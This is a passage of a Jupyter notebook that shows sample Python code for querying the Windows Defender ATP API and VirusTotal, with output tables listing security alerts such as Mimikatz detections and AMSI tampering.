0:\\n\",\n    \"                attr = filter_param.split('=')[0]\\n\",\n    \"                val  = filter_param.split('=')[1]\\n\",\n    \"                get_params[attr]= val\\n\",\n    \"        return get_params\\n\",\n    \"    \\n\",\n    \"    def alerts(self, **kwargs):\\n\",\n    \"        alert_url = self.api_root + \\\"/api/alerts\\\"\\n\",\n    \"        get_params = None\\n\",\n    \"        \\n\",\n    \"        valid_params = {\\n\",\n    \"            'filterstr' : alert_url + '?%s',\\n\",\n    \"            'alertid' : alert_url + '/%s',\\n\",\n    \"            'userid'    : self.api_root + '/api/users/%s/alerts',\\n\",\n    \"            'ip'        : self.api_root + '/api/ips/%s/alerts',\\n\",\n    \"            'machineid'   : self.api_root + '/api/machines/%s/alerts',\\n\",\n    \"            'filesha1'  : self.api_root + '/api/files/%s/alerts', \\n\",\n    \"            'domain'    : self.api_root + '/api/domains/%s/alerts' \\n\",\n    \"        }\\n\",\n    \"        (selector, selector_value) = self.__validate_arguments(kwargs, valid_params)\\n\",\n    \"        \\n\",\n    \"        if selector == 'filterstr':\\n\",\n    \"            get_params = self.__prepare_param_dict_from_filter_str(selector_value)\\n\",\n    \"            if get_params is not None:\\n\",\n    \"                url = valid_params[selector] % urllib.parse.urlencode(get_params)             \\n\",\n    \"        else:\\n\",\n    \"            url = valid_params[selector] % selector_value        \\n\",\n    \"\\n\",\n    \"        return self.__make_request(url)\\n\",\n    \"\\n\",\n    \"    def machines(self, **kwargs):\\n\",\n    \"        machine_url = self.api_root + \\\"/api/machines\\\"\\n\",\n    \"        get_params = None\\n\",\n    \"        \\n\",\n    \"        valid_params = {\\n\",\n    \"            'filterstr' : machine_url + '?%s',\\n\",\n    \"            'machineid' : machine_url + '/%s',\\n\",\n    \"            'userid'    : self.api_root + '/api/users/%s/machines',\\n\",\n    \"            'ip'        : self.api_root + '/api/ips/%s/machines',\\n\",\n    \"            'alertid'   : self.api_root + '/api/alerts/%s/machine',\\n\",\n    \"            'filesha1'  : self.api_root + '/api/files/%s/machines', \\n\",\n    \"            'domain'    : self.api_root + '/api/domains/%s/machines',\\n\",\n    \"            'ip_timestamp' : self.api_root + '/api/machines/findbyip(ip=\\\\'%s\\\\',timestamp=%s)'\\n\",\n    \"\\n\",\n    \"        }\\n\",\n    \"        \\n\",\n    \"        (selector, selector_value) = self.__validate_arguments(kwargs, valid_params)\\n\",\n    \"\\n\",\n    \"        if selector == 'ip_timestamp':\\n\",\n    \"            url = valid_params[selector] % (selector_value.split('#')[0], selector_value.split('#')[1])\\n\",\n    \"        elif selector == 'filterstr':\\n\",\n    \"            get_params = self.__prepare_param_dict_from_filter_str(selector_value)\\n\",\n    \"            if get_params is not None:\\n\",\n    \"                url = valid_params[selector] % urllib.parse.urlencode(get_params)\\n\",\n    \"        else:\\n\",\n    \"            url = valid_params[selector] % selector_value\\n\",\n    \"\\n\",\n    \"        return self.__make_request(url)\\n\",\n    \"    \\n\",\n    \"    def machine_actions(self, **kwargs):\\n\",\n    \"        machineaction_url = self.api_root + \\\"/api/machineactions\\\"\\n\",\n    \"        get_params = None\\n\",\n    \"        \\n\",\n    \"        valid_params = {\\n\",\n    \"            'filterstr' : machineaction_url + '?%s',\\n\",\n    \"            'actionid'  : machineaction_url + '/%s'\\n\",\n    \"        }\\n\",\n    \"        \\n\",\n    \"        (selector, selector_value) = self.__validate_arguments(kwargs, valid_params)\\n\",\n    \"\\n\",\n    \"        if selector == 'filterstr':\\n\",\n    \"            get_params = self.__prepare_param_dict_from_filter_str(selector_value)\\n\",\n    \"            if get_params is not None:\\n\",\n    \"                url = valid_params[selector] % urllib.parse.urlencode(get_params)\\n\",\n    \"        else:\\n\",\n    \"            url = valid_params[selector] % selector_value\\n\",\n    \"\\n\",\n    \"        return self.__make_request(url)\\n\",\n    \"\\n\",\n    \"    def ips(self, **kwargs):\\n\",\n    \"        ips_url = self.api_root + \\\"/api/ips\\\"\\n\",\n    \"        \\n\",\n    \"        valid_params = {\\n\",\n    \"            'ip'    : ips_url + '/%s/stats'\\n\",\n    \"        }\\n\",\n    \"        \\n\",\n    \"        (selector, selector_value) = self.__validate_arguments(kwargs, valid_params)\\n\",\n    \"        \\n\",\n    \"        url = valid_params[selector] % selector_value\\n\",\n    \"\\n\",\n    \"        return self.__make_request(url)\\n\",\n    \"    \\n\",\n    \"    def users(self, **kwargs):\\n\",\n    \"        user_url = self.api_root + \\\"/api/users\\\"\\n\",\n    \"        \\n\",\n    \"        valid_params = {\\n\",\n    \"            'userid'    : user_url + '/%s',\\n\",\n    \"            'machineid' : self.api_root + '/api/machines/%s/logonusers',\\n\",\n    \"            'alertid'   : self.api_root + '/api/alerts/%s/user'\\n\",\n    \"        }\\n\",\n    \"        \\n\",\n    \"        (selector, selector_value) = self.__validate_arguments(kwargs, valid_params)\\n\",\n    \"        \\n\",\n    \"        url = valid_params[selector] % selector_value\\n\",\n    \"\\n\",\n    \"        return self.__make_request(url)\\n\",\n    \"     \\n\",\n    \"    def files(self, **kwargs):\\n\",\n    \"        user_url = self.api_root + \\\"/api/files/\\\"\\n\",\n    \"        \\n\",\n    \"        valid_params = {\\n\",\n    \"            'filehash' : user_url + '%s',\\n\",\n    \"            'alertid'   : self.api_root + '/api/alerts/%s/files'\\n\",\n    \"        }\\n\",\n    \"        \\n\",\n    \"        (selector, selector_value) = self.__validate_arguments(kwargs, valid_params)\\n\",\n    \"        \\n\",\n    \"        url = valid_params[selector] % selector_value\\n\",\n    \"\\n\",\n    \"        return self.__make_request(url)\\n\",\n    \"    \\n\",\n    \"    def query(self, query):\\n\",\n    \"        url = self.api_root + \\\"/api/advancedqueries/run\\\"\\n\",\n    \"        data = json.dumps({ 'Query' : query }).encode(\\\"utf-8\\\")\\n\",\n    \"        req = urllib.request.Request(url, data, self.headers)\\n\",\n    \"        response = urllib.request.urlopen(req)\\n\",\n    \"        jsonResponse = json.loads(response.read())\\n\",\n    \"        res = jsonResponse[\\\"Results\\\"]\\n\",\n    \"        if self.fUsePandas:\\n\",\n    \"            return pd.io.json.json_normalize(res)\\n\",\n    \"        return res\\n\",\n    \"    \\n\",\n    \"    def vtresults(self, hashlist):\\n\",\n    \"        import requests \\n\",\n    \"\\n\",\n    \"        url = \\\"https://www.virustotal.com/vtapi/v2/file/report\\\"\\n\",\n    \"\\n\",\n    \"        headers = {'User-Agent':'VirusTotal',\\n\",\n    \"                    'Content-Type':'application/json'}\\n\",\n    \"        if type(hashlist) == str:\\n\",\n    \"            hashlist = [hashlist]\\n\",\n    \"        \\n\",\n    \"        data = {\\\"resource\\\": ','.join(hashlist),\\n\",\n    \"                \\\"apikey\\\": self.vt_api_key}\\n\",\n    \"\\n\",\n    \"        response = requests.get(url, data, headers=headers)\\n\",\n    \"\\n\",\n    \"        jsonResponse = response.json()\\n\",\n    \"\\n\",\n    \"        if self.fUsePandas:\\n\",\n    \"            return pd.io.json.json_normalize(jsonResponse)\\n\",\n    \"        return r.json()\\n\",\n    \"    \\n\",\n    \"print(\\\"Sample WDATP API code loaded\\\")\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 19,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"Connected.\\n\"\n     ]\n    }\n   ],\n   \"source\": [\n    \"# hit Shift-Enter in this cell\\n\",\n    \"\\n\",\n    \"# NOTE: endpoint authorization will periodically time out and you will need to re-run this command to re-authenticate\\n\",\n    \"# if you're able to call the API (client app registered properly), and you get an exception \\n\",\n    \"# with a HTTP error 401 Unauthorized, re-run this command to re-initiate the endpoint\\n\",\n    \"\\n\",\n    \"wdatp_api = WDATP(tenantId, appId, appSecret, vt_api_key)\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Getting Alerts\\n\",\n    \"\\n\",\n    \"Let's query the most recent 5 alerts using the OData TOP keyword\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 40,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>alertCreationTime</th>\\n\",\n       \"      <th>assignedTo</th>\\n\",\n       \"      <th>category</th>\\n\",\n       \"      <th>classification</th>\\n\",\n       \"      <th>description</th>\\n\",\n       \"      <th>detectionSource</th>\\n\",\n       \"      <th>determination</th>\\n\",\n       \"      <th>firstEventTime</th>\\n\",\n       \"      <th>id</th>\\n\",\n       \"      <th>incidentId</th>\\n\",\n       \"      <th>investigationState</th>\\n\",\n       \"      <th>lastEventTime</th>\\n\",\n       \"      <th>machineId</th>\\n\",\n       \"      <th>recommendedAction</th>\\n\",\n       \"      <th>resolvedTime</th>\\n\",\n       \"      <th>severity</th>\\n\",\n       \"      <th>status</th>\\n\",\n       \"      <th>threatFamilyName</th>\\n\",\n       \"      <th>title</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>2018-11-29T12:02:54.8855602Z</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>SuspiciousActivity</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>An attempt to disable the Antimalware Scan Int...</td>\\n\",\n       \"      <td>WindowsDefenderAtp</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>2018-11-29T12:01:45.8610961Z</td>\\n\",\n       \"      <td>636790897750057660_-313754981</td>\\n\",\n       \"      <td>7919</td>\\n\",\n       \"      <td>UnsupportedAlertType</td>\\n\",\n       \"      <td>2018-11-30T15:47:17.6679541Z</td>\\n\",\n       \"      <td>80102a08edaa9e2aa875abb5d787db5064cc5246</td>\\n\",\n       \"      <td>Validate the alert.\\\\n1. Check for other suspic...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Medium</td>\\n\",\n       \"      <td>New</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Possible Antimalware Scan Interface (AMSI) tam...</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>2018-11-29T12:02:55.2870131Z</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Reconnaissance</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>A suspicious netsh trace can indicate that an ...</td>\\n\",\n       \"      <td>WindowsDefenderAtp</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>2018-11-29T12:01:45.0521268Z</td>\\n\",\n       \"      <td>636790897754744964_776991504</td>\\n\",\n       \"      <td>7919</td>\\n\",\n       \"      <td>UnsupportedAlertType</td>\\n\",\n       \"      <td>2018-11-30T15:47:17.2527179Z</td>\\n\",\n       \"      <td>80102a08edaa9e2aa875abb5d787db5064cc5246</td>\\n\",\n       \"      <td>A. Validate the alert and scope the suspected ...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Medium</td>\\n\",\n       \"      <td>New</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Suspicious netsh trace</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>2018-11-29T12:02:57.4975343Z</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Delivery</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>A SQL Server login created using xp_cmdshell c...</td>\\n\",\n       \"      <td>WindowsDefenderAtp</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>2018-11-29T12:01:43.5805101Z</td>\\n\",\n       \"      <td>636790897777897998_845218354</td>\\n\",\n       \"      <td>7919</td>\\n\",\n       \"      <td>UnsupportedAlertType</td>\\n\",\n       \"      <td>2018-11-30T15:47:15.0501343Z</td>\\n\",\n       \"      <td>80102a08edaa9e2aa875abb5d787db5064cc5246</td>\\n\",\n       \"      <td>A. Validate the alert.\\\\n1. Review the process ...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Low</td>\\n\",\n       \"      <td>New</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>SQL Server login using xp_cmdshell</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <td>2018-11-29T12:02:56.9886074Z</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Delivery</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Analysis of host data shows installation of Te...</td>\\n\",\n       \"      <td>WindowsDefenderAtp</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>2018-11-29T12:01:42.9337117Z</td>\\n\",\n       \"      <td>636790897772386099_-631218738</td>\\n\",\n       \"      <td>7919</td>\\n\",\n       \"      <td>UnsupportedAlertType</td>\\n\",\n       \"      <td>2018-11-30T15:47:13.0329148Z</td>\\n\",\n       \"      <td>80102a08edaa9e2aa875abb5d787db5064cc5246</td>\\n\",\n       \"      <td>1. Review the process tree involved in the exe...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Low</td>\\n\",\n       \"      <td>New</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Detected potentially suspicious use of Telegra...</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>4</th>\\n\",\n       \"      <td>2018-11-29T12:02:57.2586751Z</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Installation</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>An attacker can leverage the program compatibi...</td>\\n\",\n       \"      <td>WindowsDefenderAtp</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>2018-11-29T12:01:42.7082679Z</td>\\n\",\n       \"      <td>636790897773682457_2130970452</td>\\n\",\n       \"      <td>7919</td>\\n\",\n       \"      <td>UnsupportedAlertType</td>\\n\",\n       \"      <td>2018-11-30T15:47:11.8177015Z</td>\\n\",\n       \"      <td>80102a08edaa9e2aa875abb5d787db5064cc5246</td>\\n\",\n       \"      <td>1. Review the process tree to understand wheth...</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Low</td>\\n\",\n       \"      <td>New</td>\\n\",\n       \"      <td>None</td>\\n\",\n       \"      <td>Suspicious use of program compatibility assistant</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"              alertCreationTime assignedTo            category classification  \\\\\\n\",\n       \"0  2018-11-29T12:02:54.8855602Z       None  SuspiciousActivity           None   \\n\",\n       \"1  2018-11-29T12:02:55.2870131Z       None      Reconnaissance           None   \\n\",\n       \"2  2018-11-29T12:02:57.4975343Z       None            Delivery           None   \\n\",\n       \"3  2018-11-29T12:02:56.9886074Z       None            Delivery           None   \\n\",\n       \"4  2018-11-29T12:02:57.2586751Z       None        Installation           None   \\n\",\n       \"\\n\",\n       \"                                         description     detectionSource  \\\\\\n\",\n       \"0  An attempt to disable the Antimalware Scan Int...  WindowsDefenderAtp   \\n\",\n       \"1  A suspicious netsh trace can indicate that an ...  WindowsDefenderAtp   \\n\",\n       \"2  A SQL Server login created using xp_cmdshell c...  WindowsDefenderAtp   \\n\",\n       \"3  Analysis of host data shows installation of Te...  WindowsDefenderAtp   \\n\",\n       \"4  An attacker can leverage the program compatibi...  WindowsDefenderAtp   \\n\",\n       \"\\n\",\n       \"  determination                firstEventTime                             id  \\\\\\n\",\n       \"0          None  2018-11-29T12:01:45.8610961Z  636790897750057660_-313754981   \\n\",\n       \"1          None  2018-11-29T12:01:45.0521268Z   636790897754744964_776991504   \\n\",\n       \"2          None  2018-11-29T12:01:43.5805101Z   636790897777897998_845218354   \\n\",\n       \"3          None  2018-11-29T12:01:42.9337117Z  636790897772386099_-631218738   \\n\",\n       \"4          None  2018-11-29T12:01:42.7082679Z  636790897773682457_2130970452   \\n\",\n       \"\\n\",\n       \"   incidentId    investigationState                 lastEventTime  \\\\\\n\",\n       \"0        7919  UnsupportedAlertType  2018-11-30T15:47:17.6679541Z   \\n\",\n       \"1        7919  UnsupportedAlertType  2018-11-30T15:47:17.2527179Z   \\n\",\n       \"2        7919  UnsupportedAlertType  2018-11-30T15:47:15.0501343Z   \\n\",\n       \"3        7919  UnsupportedAlertType  2018-11-30T15:47:13.0329148Z   \\n\",\n       \"4        7919  UnsupportedAlertType  2018-11-30T15:47:11.8177015Z   \\n\",\n       \"\\n\",\n       \"                                  machineId  \\\\\\n\",\n       \"0  80102a08edaa9e2aa875abb5d787db5064cc5246   \\n\",\n       \"1  80102a08edaa9e2aa875abb5d787db5064cc5246   \\n\",\n       \"2  80102a08edaa9e2aa875abb5d787db5064cc5246   \\n\",\n       \"3  80102a08edaa9e2aa875abb5d787db5064cc5246   \\n\",\n       \"4  80102a08edaa9e2aa875abb5d787db5064cc5246   \\n\",\n       \"\\n\",\n       \"                                   recommendedAction resolvedTime severity  \\\\\\n\",\n       \"0  Validate the alert.\\\\n1. Check for other suspic...         None   Medium   \\n\",\n       \"1  A. Validate the alert and scope the suspected ...         None   Medium   \\n\",\n       \"2  A. Validate the alert.\\\\n1. Review the process ...         None      Low   \\n\",\n       \"3  1. Review the process tree involved in the exe...         None      Low   \\n\",\n       \"4  1. Review the process tree to understand wheth...         None      Low   \\n\",\n       \"\\n\",\n       \"  status threatFamilyName                                              title  \\n\",\n       \"0    New             None  Possible Antimalware Scan Interface (AMSI) tam...  \\n\",\n       \"1    New             None                             Suspicious netsh trace  \\n\",\n       \"2    New             None                 SQL Server login using xp_cmdshell  \\n\",\n       \"3    New             None  Detected potentially suspicious use of Telegra...  \\n\",\n       \"4    New             None  Suspicious use of program compatibility assistant  \"\n      ]\n     },\n     \"execution_count\": 40,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"wdatp_api.alerts(filterstr = \\\"$top=5\\\")\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Selecting alerts with an OData filter\\n\",\n    \"You can also query alerts with OData queries. OData provides a simple standardized syntax for selecting properties and filtering data\\n\",\n    \"\\n\",\n    \"A summary of the OData filters can be found [here] (https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-atp/exposed-apis-odata-samples)\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 41,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>alertCreationTime</th>\\n\",\n       \"      <th>category</th>\\n\",\n       \"      <th>description</th>\\n\",\n       \"      <th>id</th>\\n\",\n       \"      <th>severity</th>\\n\",\n       \"      <th>title</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>2018-11-28T22:24:36.6689701Z</td>\\n\",\n       \"      <td>Malware</td>\\n\",\n       \"      <td>High-severity malware refers tools used by adv...</td>\\n\",\n       \"      <td>636790406770744978_-766757120</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>Windows Defender AV detected 'Mikatz' high-sev...</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>2018-11-28T08:39:47.124158Z</td>\\n\",\n       \"      <td>Exploit</td>\\n\",\n       \"      <td>An unprivileged process wrote a file to a secu...</td>\\n\",\n       \"      <td>636789911885441208_-778412533</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>Anomalous file write to a secure directory by ...</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>2018-11-26T16:19:21.8409809Z</td>\\n\",\n       \"      <td>Malware</td>\\n\",\n       \"      <td>High-severity malware refers tools used by adv...</td>\\n\",\n       \"      <td>636788459618600433_-1306918058</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>Windows Defender AV detected 'Mikatz' high-sev...</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <td>2018-11-21T11:51:25.208461Z</td>\\n\",\n       \"      <td>Malware</td>\\n\",\n       \"      <td>High-severity malware refers tools used by adv...</td>\\n\",\n       \"      <td>636783978852240743_1327161088</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>Windows Defender AV detected 'Mikatz' high-sev...</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>4</th>\\n\",\n       \"      <td>2018-11-21T11:43:49.5143658Z</td>\\n\",\n       \"      <td>Malware</td>\\n\",\n       \"      <td>High-severity malware refers tools used by adv...</td>\\n\",\n       \"      <td>636783974299699780_-787886389</td>\\n\",\n       \"      <td>High</td>\\n\",\n       \"      <td>Windows Defender AV detected 'Mikatz' high-sev...</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"              alertCreationTime category  \\\\\\n\",\n       \"0  2018-11-28T22:24:36.6689701Z  Malware   \\n\",\n       \"1   2018-11-28T08:39:47.124158Z  Exploit   \\n\",\n       \"2  2018-11-26T16:19:21.8409809Z  Malware   \\n\",\n       \"3   2018-11-21T11:51:25.208461Z  Malware   \\n\",\n       \"4  2018-11-21T11:43:49.5143658Z  Malware   \\n\",\n       \"\\n\",\n       \"                                         description  \\\\\\n\",\n       \"0  High-severity malware refers tools used by adv...   \\n\",\n       \"1  An unprivileged process wrote a file to a secu...   \\n\",\n       \"2  High-severity malware refers tools used by adv...   \\n\",\n       \"3  High-severity malware refers tools used by adv...   \\n\",\n       \"4  High-severity malware refers tools used by adv...   \\n\",\n       \"\\n\",\n       \"                               id severity  \\\\\\n\",\n       \"0   636790406770744978_-766757120     High   \\n\",\n       \"1   636789911885441208_-778412533     High   \\n\",\n       \"2  636788459618600433_-1306918058     High   \\n\",\n       \"3   636783978852240743_1327161088     High   \\n\",\n       \"4   636783974299699780_-787886389     High   \\n\",\n       \"\\n\",\n       \"                                               title  \\n\",\n       \"0  Windows Defender AV detected 'Mikatz' high-sev...  \\n\",\n       \"1  Anomalous file write to a secure directory by ...  \\n\",\n       \"2  Windows Defender AV detected 'Mikatz' high-sev...  \\n\",\n       \"3  Windows Defender AV detected 'Mikatz' high-sev...  \\n\",\n       \"4  Windows Defender AV detected 'Mikatz' high-sev...  \"\n      ]\n     },\n     \"execution_count\": 41,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"# get the top high-sev 5 alerts and select a few columns\\n\",\n    \"wdatp_api.alerts(filterstr = \\\"$select=alertCreationTime,category,title,description,id,severity&$filter=Severity eq 'High'&$top=5\\\")\"\n   ]\n  },\n  {\n   \"cell_type\": \"markdown\",\n   \"metadata\": {},\n   \"source\": [\n    \"## Saving API results to a variable\\n\",\n    \"\\n\",\n    \"The results are returned as a Pandas DataFrame--a handy data structure for processing rowset oriented results. If you don't want the results in a DataFrame and instead just in a list, you can set `fUsePandas=False` when you create the WDATP class.\\n\",\n    \"\\n\",\n    \"See the [Pandas project page](https://pandas.pydata.org/pandas-docs/stable/index.html) for more information on DataFrames.\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 42,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"name\": \"stdout\",\n     \"output_type\": \"stream\",\n     \"text\": [\n      \"number of rows returned = 25\\n\"\n     ]\n    }\n   ],\n   \"source\": [\n    \"# let's assign the API results to a variable so we can process them without making an API call each time\\n\",\n    \"df = wdatp_api.alerts(filterstr = \\\"$top=25&$filter=Severity eq 'Medium'\\\")\\n\",\n    \"print(\\\"number of rows returned = %d\\\" % len(df))\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 43,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/plain\": [\n       \"Index(['alertCreationTime', 'assignedTo', 'category', 'classification',\\n\",\n       \"       'description', 'detectionSource', 'determination', 'firstEventTime',\\n\",\n       \"       'id', 'incidentId', 'investigationState', 'lastEventTime', 'machineId',\\n\",\n       \"       'recommendedAction', 'resolvedTime', 'severity', 'status',\\n\",\n       \"       'threatFamilyName', 'title'],\\n\",\n       \"      dtype='object')\"\n      ]\n     },\n     \"execution_count\": 43,\n     \"metadata\": {},\n     \"output_type\": \"execute_result\"\n    }\n   ],\n   \"source\": [\n    \"# show all the columns in the alert entity\\n\",\n    \"df.columns\"\n   ]\n  },\n  {\n   \"cell_type\": \"code\",\n   \"execution_count\": 44,\n   \"metadata\": {},\n   \"outputs\": [\n    {\n     \"data\": {\n      \"text/html\": [\n       \"<div>\\n\",\n       \"<style scoped>\\n\",\n       \"    .dataframe tbody tr th:only-of-type {\\n\",\n       \"        vertical-align: middle;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe tbody tr th {\\n\",\n       \"        vertical-align: top;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    .dataframe thead th {\\n\",\n       \"        text-align: right;\\n\",\n       \"    }\\n\",\n       \"</style>\\n\",\n       \"<table border=\\\"1\\\" class=\\\"dataframe\\\">\\n\",\n       \"  <thead>\\n\",\n       \"    <tr style=\\\"text-align: right;\\\">\\n\",\n       \"      <th></th>\\n\",\n       \"      <th>alertCreationTime</th>\\n\",\n       \"      <th>category</th>\\n\",\n       \"      <th>description</th>\\n\",\n       \"      <th>id</th>\\n\",\n       \"      <th>severity</th>\\n\",\n       \"    </tr>\\n\",\n       \"  </thead>\\n\",\n       \"  <tbody>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>0</th>\\n\",\n       \"      <td>2018-11-29T12:02:54.8855602Z</td>\\n\",\n       \"      <td>SuspiciousActivity</td>\\n\",\n       \"      <td>An attempt to disable the Antimalware Scan Int...</td>\\n\",\n       \"      <td>636790897750057660_-313754981</td>\\n\",\n       \"      <td>Medium</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>1</th>\\n\",\n       \"      <td>2018-11-29T12:02:55.2870131Z</td>\\n\",\n       \"      <td>Reconnaissance</td>\\n\",\n       \"      <td>A suspicious netsh trace can indicate that an ...</td>\\n\",\n       \"      <td>636790897754744964_776991504</td>\\n\",\n       \"      <td>Medium</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>2</th>\\n\",\n       \"      <td>2018-11-29T12:02:55.1932387Z</td>\\n\",\n       \"      <td>General</td>\\n\",\n       \"      <td>Built-in Microsoft command-line utility Regsvr...</td>\\n\",\n       \"      <td>636790897753203381_-1982849782</td>\\n\",\n       \"      <td>Medium</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>3</th>\\n\",\n       \"      <td>2018-11-29T12:02:55.4199704Z</td>\\n\",\n       \"      <td>CredentialStealing</td>\\n\",\n       \"      <td>A known credential theft tool execution comman...</td>\\n\",\n       \"      <td>636790897754843255_543815125</td>\\n\",\n       \"      <td>Medium</td>\\n\",\n       \"    </tr>\\n\",\n       \"    <tr>\\n\",\n       \"      <th>4</th>\\n\",\n       \"      <td>2018-11-29T12:02:55.2245141Z</td>\\n\",\n       \"      <td>CredentialStealing</td>\\n\",\n       \"      <td>A known credential theft tool execution comman...</td>\\n\",\n       \"      <td>636790897753338947_2058521704</td>\\n\",\n       \"      <td>Medium</td>\\n\",\n       \"    </tr>\\n\",\n       \"  </tbody>\\n\",\n       \"</table>\\n\",\n       \"</div>\"\n      ],\n      \"text/plain\": [\n       \"              alertCreationTime            category  \\\\\\n\",\n       \"0  2018-11-29T12:02:54.8855602Z  SuspiciousActivity   \\n\",\n       \"1  2018-11-29T12:02:55.2870131Z      Reconnaissance   \\n\",\n       \"2  2018-11-29T12:02:55.1932387Z             General   \\n\",\n       \"3  2018-11-29T12:02:55.4199704Z  CredentialStealing   \\n\",\n       \"4  2018-11-29T12:02:55.2245141Z  CredentialStealing   \\n\",\n       \"\\n\",\n       \"                                         description  \\\\\\n\",\n       \"0  An attempt to disable the Antimalware Scan Int...   \\n\",\n       \"1  A suspicious netsh trace can indicate 